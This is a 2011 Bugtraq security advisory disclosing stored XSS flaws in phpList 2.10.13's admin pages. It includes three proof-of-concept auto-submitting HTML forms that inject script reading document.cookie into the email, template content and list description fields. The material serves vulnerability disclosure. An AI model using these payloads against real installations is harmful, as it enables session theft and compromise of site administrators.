[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201104261407.p3QE7kJa057480@htbridge.ch>
Date: Tue, 26 Apr 2011 16:07:46 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22956: XSS vulnerabilities in phpList
Vulnerability ID: HTB22956
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phplist.html
Product: phpList
Vendor: Tincan Ltd ( http://www.phplist.com/ )
Vulnerable Version: 2.10.13 and probably prior versions
Vendor Notification: 12 April 2011
Vulnerability Type: XSS
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerabilities exists due to failure in the "admin/commonlib/lib/userlib.php", "admin/template.php", "admin/editlist.php" scripts to properly sanitize user-supplied input in "email" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.
<form action="http://host/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="list" value="">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="returnpage" value="">
<input type="hidden" name="returnoption" value="">
<input type="hidden" name="email" value='email2@...mple.com"><script>alert(document.cookie)</script>'>
<input type="hidden" name="confirmed" value="1">
<input type="hidden" name="htmlemail" value="123">
<input type="hidden" name="rssfrequency" value="2">
<input type="hidden" name="password" value="test">
<input type="hidden" name="disabled" value="0">
<input type="hidden" name="extradata" value="add">
<input type="hidden" name="foreignkey" value="forkey">
<input type="hidden" name="change" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
2.
<form action="http://host/admin/?page=template&id=TEMPLATE_ID" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="TEMPLATE_ID">
<input type="hidden" name="title" value="tplname">
<input type="hidden" name="file_template" value="">
<input type="hidden" name="content" value='<script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
3.
<form action="http://host/admin/?page=editlist&id=1" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="1">
<input type="hidden" name="listname" value="test2">
<input type="hidden" name="listorder" value="0">
<input type="hidden" name="owner" value="1">
<input type="hidden" name="description" value='List <script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save">
</form>
<script>
document.main.submit();
</script>
Powered by blists - more mailing lists